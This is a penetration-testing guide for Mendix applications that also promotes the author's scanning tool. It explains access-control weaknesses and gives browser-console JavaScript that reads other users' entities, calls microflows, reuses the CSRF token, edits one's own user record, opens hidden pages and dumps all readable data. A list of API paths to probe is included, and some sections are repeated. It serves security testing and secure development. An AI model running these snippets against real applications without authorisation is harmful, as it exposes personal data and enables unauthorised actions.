Pentest Mendix

This document provides a detailed guide on how to conduct penetration testing for Mendix applications, focusing on identifying and exploiting potential vulnerabilities. It includes code examples, information about relevant APIs, and explanations of common vulnerabilities.

JUST USE MY TOOL Menscan.io TO MAKE YOUR LIFE EASIER. My advice is to only use these notes for technical items used within the tool

Overview of Mendix Architecture

Mendix applications are based on Java and run on a cloud infrastructure. The key components of a Mendix application include:

  • Front-end/Client: JavaScript-based user interface.
  • Runtime Engine: Java-based execution environment.
  • Storage: Data storage layer.

Applications are developed using the Mendix Studio IDE, where code can be deployed locally or to a cloud environment.

Tools and Access Required for Testing

  • Mendix Studio IDE: Essential for reviewing settings and configurations.
  • Application Access: Direct access to the application being tested.
  • Bizzomate Mendix Dev Tools Module: A Chrome extension for Mendix development.

Key Concepts and Components

Domain Model

The domain model describes the data used by the application, represented by entities and their relationships. Each module has its own domain model, but modules can share data.

Entities

Entities represent real-world objects, such as customers or invoices. An instance of an entity is called an object.

Microflows and Nanoflows

  • Microflows: Logic that runs in online applications, allowing actions like creating and updating objects.
  • Nanoflows: Simpler flows that can run in offline applications.

User Roles and Permissions

User roles in Mendix are combinations of module roles, which are specific sets of access rights. Proper configuration of these roles is crucial for security.

Attack Surface and Common Vulnerabilities

Insecure Access Controls

  • Entities/Attributes: Ensure fine-grained access controls are correctly configured to avoid unauthorized access.
  • Microflows: Access controls on microflows must be properly set to prevent execution of insecure logic.
  • Custom Java Components: Custom code must be reviewed for security flaws.

Abuse of APIs and Endpoints

Mendix applications expose various APIs and endpoints that can be targeted by attackers. Common vulnerabilities include:

  • Direct Entity Access: Using endpoints like /XAS or JavaScript APIs to access or manipulate data.
  • CSRF Tokens: Misuse of CSRF tokens can lead to unauthorized actions.

Security in Mendix Applications

Role-Based Access Control (RBAC)

Mendix uses RBAC to manage access to different parts of the application. It is essential to configure roles and permissions accurately to avoid unauthorized access.

Common Vulnerabilities

Cross-Site Scripting (XSS)

XSS vulnerabilities occur when an application includes untrusted data on a web page without proper validation or escaping.

SQL Injection

SQL injection allows attackers to execute arbitrary SQL code on the database by manipulating input data.

Code Execution

Insecure code execution vulnerabilities can allow attackers to run arbitrary code within the application's environment.

Attack Surface and Common Vulnerabilities

Insecure Access Controls

  • Entities/Attributes: Ensure fine-grained access controls are correctly configured to avoid unauthorized access.
  • Microflows: Access controls on microflows must be properly set to prevent execution of insecure logic.
  • Custom Java Components: Custom code must be reviewed for security flaws.

Abuse of APIs and Endpoints

Mendix applications expose various APIs and endpoints that can be targeted by attackers. Common vulnerabilities include:

  • Direct Entity Access: Using endpoints like /XAS or JavaScript APIs to access or manipulate data.
  • CSRF Tokens: Misuse of CSRF tokens can lead to unauthorized actions.

Example Attack Scenarios

Reading Entities via JavaScript API
function output(obj) {
	o = obj;
}
mx.data.get({
	xpath: '//Administration.Account',
	callback: output
});
o.forEach(i => console.log(i.jsonData.attributes.FullName));
Executing a Microflow
mx.data.action({
	params: { actionname: 'Monitoring.SUB_RiskIndicatorHelper_RequestCREData' },
	callback: function (obj) {
		alert('Action executed');
	},
	error: function (error) {
		alert(error.description);
	},
	onValidation: function (validations) {
		alert('There were ' + validations.length + ' validation errors');
	}
});
Reading CSRF Token from JavaScript
mx.session.sessionData.csrftoken;
let x = new XMLHttpRequest();
x.open('POST', 'https://example.mendixcloud.com/xas/', true);
x.setRequestHeader('X-Csrf-Token', mx.session.sessionData.csrftoken);
x.setRequestHeader('Content-Type', 'application/json');
x.onreadystatechange = () => {
	if (x.readyState == XMLHttpRequest.DONE) {
		let a = JSON.parse(x.response);
		console.log(a.objects[0].guid);
	}
};
x.send('{"action":"executeaction","params":{"actionname":"Administration.ShowPasswordForm"}}');

Exercises for Identifying Vulnerabilities

Exercise: Insecure Read Access

  • Objective: Identify readable sensitive entities and attributes.
  • Steps:
    1. Open the developer console.
    2. Use mx.data.get to find hidden ModuleRead.Secret objects.
mx.data.get({
	xpath: '//ModuleRead.Secret',
	callback: function (obj) {
		console.log(obj);
	}
});

Exercise: Insecure Write Access

  • Objective: Identify writable sensitive attributes.
  • Steps:
    1. Retrieve your ModuleWrite.User object using mx.data.get.
    2. Use MxObject.set and mx.data.commit to change your name to "Admin".
mx.data.get({
	xpath: '//ModuleWrite.User',
	callback: function (obj) {
		obj.set('Name', 'Admin');
		mx.data.commit({
			mxobj: obj,
			callback: function () {
				console.log('Name changed to Admin');
			}
		});
	}
});

Exercise: Insecure Microflow Access

  • Objective: Identify accessible sensitive microflows.
  • Steps:
    1. Find the hidden ModuleFlow.Secret using mx.data.get.
    2. Call the microflow ModuleFlow.ShowSecret with the hidden object.
mx.data.get({
	xpath: '//ModuleFlow.Secret',
	callback: function (obj) {
		mx.data.action({
			params: {
				actionname: 'ModuleFlow.ShowSecret',
				applyto: 'selection',
				guids: [obj.getGuid()]
			},
			callback: function (result) {
				console.log(result);
			}
		});
	}
});

Example Attack Scenarios

Reading Entities via JavaScript API

function output(obj) {
	o = obj;
}
mx.data.get({
	xpath: '//Administration.Account',
	callback: output
});
o.forEach(i => console.log(i.jsonData.attributes.FullName));

Executing a Microflow

mx.data.action({
	params: { actionname: 'Monitoring.SUB_RiskIndicatorHelper_RequestCREData' },
	callback: function (obj) {
		alert('Action executed');
	},
	error: function (error) {
		alert(error.description);
	},
	onValidation: function (validations) {
		alert('There were ' + validations.length + ' validation errors');
	}
});

Reading CSRF Token from JavaScript

mx.session.sessionData.csrftoken;
let x = new XMLHttpRequest();
x.open('POST', 'https://example.mendixcloud.com/xas/', true);
x.setRequestHeader('X-Csrf-Token', mx.session.sessionData.csrftoken);
x.setRequestHeader('Content-Type', 'application/json');
x.onreadystatechange = () => {
	if (x.readyState == XMLHttpRequest.DONE) {
		let a = JSON.parse(x.response);
		console.log(a.objects[0].guid);
	}
};
x.send('{"action":"executeaction","params":{"actionname":"Administration.ShowPasswordForm"}}');

Downloading a file

GET /file?guid={{guid}}

Insecure Custom Components

Custom Java and JavaScript components must be thoroughly reviewed. Look for BEGIN USER CODE and BEGIN EXTRA CODE in the source files to identify custom logic.

Best Practices for Secure Development

  • Access Controls: Ensure fine-grained access controls for all entities, attributes, and microflows.
  • Role Management: Regularly review and audit user roles and permissions.
  • Secure Coding: Follow secure coding practices for both Java and JavaScript components.
  • Regular Audits: Conduct regular security audits of custom components and third-party AppStore components.

Automation

In order to make the security aspects somewhat visible, there’s a handy script that can assist you. This script checks which entities and attributes have read and/or write permissions with the currently logged-in role. Not logged in yet? Then the script checks the rights as an anonymous user.

Why Should I Use This Script?

We all try to create 100% secure applications. However, mistakes are easily made, whether by you or a colleague. You do not want errors with permissions in your application. You might think, “Yes, but that user can’t access someone else’s document because everything is fetched via association in the application…” Yes, on the screen. However, all data can easily be fetched via a simple JavaScript (just like the script you’re about to use!). To make it even more interesting, you can also execute microflows (and the like) via JavaScript! An average user might not be aware of this, but someone who wants to get that data will likely dive deeper into the matter!

There are examples where companies could easily download documents, including passports, ID cards, contracts, photos, etc., in this manner. Once you have an ID of a document to which the user has rights, it is easy to download via a simple URL.

The Script Is Not Enough!

The script can help you gain insight into your application’s rights, but you need to know whether the user should have those rights. One thing is certain; if you see that a user has read and/or write permissions, then that is the case. Now it’s up to you to determine if that’s correct or not.

How to Use?

  1. Open the Mendix application.
  2. Log in as a user (or as an anonymous user).
  3. “Inspect” in the browser.
  4. Put the script in the console and execute it.
  5. A new window opens with a dropdown.
  6. Select the entity in the dropdown.
  7. If the user has access to the entity and the data, it will be shown below the dropdown.

What Am I Actually Seeing?

When you have selected an entity in the dropdown, you will see an overview of all the data to which the (currently logged-in) user has access. If you don’t see any data, there is no data available that the user can access.

No data means that there is no data for the user. The user then has no rights, OR there is simply no data in the entity! Ensure the entities you want to review contain data. Only then can you see if the user has access to it!

Read and Write Permissions

If data is shown, you can see if the user has read and/or write permissions. This is indicated by background colors.

  • White background: Read permissions
  • Green background: Write permissions
// Script to test the security/access rules of your Mendix application. It shows all the data that the user has access to.
// If the user is allowed to modify the data, the background is green. White for read-only.
function addCellText(p_document, p_row, p_text, p_head, p_readonly) {
	var l_cell = p_row.insertCell();
	l_cell.appendChild(p_document.createTextNode(p_text));
	l_cell.style.border = 'solid 1px #000';
	l_cell.style.padding = '10px';
	if (p_head)
		l_cell.style.backgroundColor = '#ddd';
	if (!p_readonly)
		l_cell.style.backgroundColor = '#00ff00';
}
var l_window = window.open();
var l_map = mx.meta.getMap();
var l_document = l_window.document;
var l_parent = l_document.body;
var l_select = l_document.createElement('select');
var l_option;
var l_options = [];
var l_key;
var l_cnt;
l_parent.appendChild(l_select);
l_option = document.createElement('option');
l_option.value = '';
l_option.text = '';
l_select.add(l_option);
for (l_key in l_map)
	l_options.push(l_key);
l_options.sort();
for (l_cnt = 0; l_cnt < l_options.length; l_cnt++) {
	l_option = document.createElement('option');
	l_option.value = l_options[l_cnt];
	l_option.text = l_options[l_cnt];
	l_select.add(l_option);
}
l_select.onchange = function () {
	var l_name = this.value;
	mx.data.get({
		xpath: '//' + this.value,
		filter: {
			offset: 0,
			amount: 5000
		},
		callback: function (p_data) {
			var l_tab = l_document.getElementById('tab');
			var l_cols;
			var l_key;
			var l_row;
			var l_cell;
			var l_value;
			var l_readonly;
			var l_rc;
			var l_colName;
			if (l_tab)
				l_tab.parentNode.removeChild(l_tab);
			if (p_data.length > 0) {
				l_att = mx.meta.getEntity(l_name).getAttributes();
				l_tab = l_document.createElement('table');
				l_tab.id = 'tab';
				l_tab.style.borderCollapse = 'collapse';
				l_parent.appendChild(l_tab);
				l_row = l_tab.insertRow();
				l_cols = p_data[0].jsonData.attributes;
				addCellText(l_document, l_row, 'guid', true, true);
				// Add headers. (not only GUID....)
				for (l_key = 0; l_key < l_att.length; l_key++) {
					addCellText(l_document, l_row, l_att[l_key], true, true);
				}
				var collie = '';
				for (l_key = 0; l_key < l_att.length; l_key++) {
					if (l_key == 0) {
						collie = '"' + l_att[l_key] + '"';
					} else {
						collie = collie + '~"' + l_att[l_key] + '"';
					}
				}
				for (l_rc = 0; l_rc < p_data.length; l_rc++) {
					l_row = l_tab.insertRow();
					var row = '';
					l_cols = p_data[l_rc].jsonData.attributes;
					addCellText(l_document, l_row, p_data[l_rc].jsonData.guid, false, l_readonly);
					for (l_key = 0; l_key < l_att.length; l_key++) {
						l_colName = l_att[l_key];
						l_value = '';
						if (l_colName in l_cols) {
							if ('value' in l_cols[l_colName]) {
								// Check for attributes.
								if (p_data[l_rc].metaData.attributes) {
									// Mx9 style.
									if (p_data[l_rc].metaData.attributes[l_colName].type == 'DateTime') {
										l_value = new Date(l_cols[l_colName].value).toLocaleString();
									} else {
										l_value = l_cols[l_colName].value;
									}
								} else {
									// Mx8 style.
									if (p_data[l_rc].metaData.isDate(l_colName)) {
										l_value = new Date(l_cols[l_colName].value).toLocaleString();
									} else {
										l_value = l_cols[l_colName].value;
									}
								}
							}
							l_readonly = 'readonly' in l_cols[l_colName] && l_cols[l_colName].readonly;
						}
						addCellText(l_document, l_row, l_value, false, l_readonly);
						if (l_key == 0) {
							row = '"' + l_value + '"';
						} else {
							row = row + '~"' + l_value + '"';
						}
					}
				}
			} else {
				console.log('NO DATA');
				var l_div = l_document.createElement('div');
				l_div.id = 'tab';
				l_div.appendChild(l_document.createTextNode('No data found'));
			}
		},
		error: function (e) {
			console.log('ERROR: ', e);
			var l_div = l_document.createElement('div');
			l_div.id = 'tab';
			l_div.appendChild(l_document.createTextNode('No data found'));
		}
	});
};

MX not found

Anonymous sessions are disabled. One thing you can do is just load the mxui yourself in the console. Note: this will show a lot more information, but most items will be blocked due to authentication

dojoConfig = {
	isDebug: false,
	useCustomLogger: true,
	async: true,
	baseUrl: "mxclientsystem/dojo/",
	cacheBust: "638759671867278800",
	rtlRedirect: "index-rtl.html"
};

async function loadScript(url) {
  let response = await fetch(url);
  let script = await response.text();
  eval(script);
}

let scriptUrl = '/mxclientsystem/mxui/mxui.js'
loadScript(scriptUrl);

Open hidden page

MX > 10

mx.ui.openForm2('Administration.ChangeMyPasswordForm', {}, null, null, {location: "content"})

Run Ciphix Dev Tools on any app

https://chromewebstore.google.com/detail/bizzomate-mendix-dev-tool/nkbokoloejkhohjlickhfkjfmbmboaof?hl=en

javascript:d = document.getElementsByTagName("BODY")[0],b = document.createElement("SCRIPT");if (b.setAttribute("type", "text/javascript"), b.setAttribute("src", "chrome-extension://nkbokoloejkhohjlickhfkjfmbmboaof/bizzoTools.js"), d.appendChild(b), console.group("BizzoTools injected"), console.groupEnd("BizzoTools injected"), window.mxbtIsProduction) {%C2%A0%C2%A0%C2%A0 e = document.getElementsByTagName("head")[0],%C2%A0%C2%A0%C2%A0 a = document.createElement("link");%C2%A0%C2%A0%C2%A0 a.href = "chrome-extension://nkbokoloejkhohjlickhfkjfmbmboaof/bizzoTools.css",%C2%A0%C2%A0%C2%A0 a.type = "text/css",%C2%A0%C2%A0%C2%A0 a.rel = "stylesheet",%C2%A0%C2%A0%C2%A0 e.append(a);alert('try to use alt+b');}

Find API documentation

/api/
/api-doc/
/debugger/
/rest/
/rest-doc/
/ws/
/ws-doc/
/odata-doc/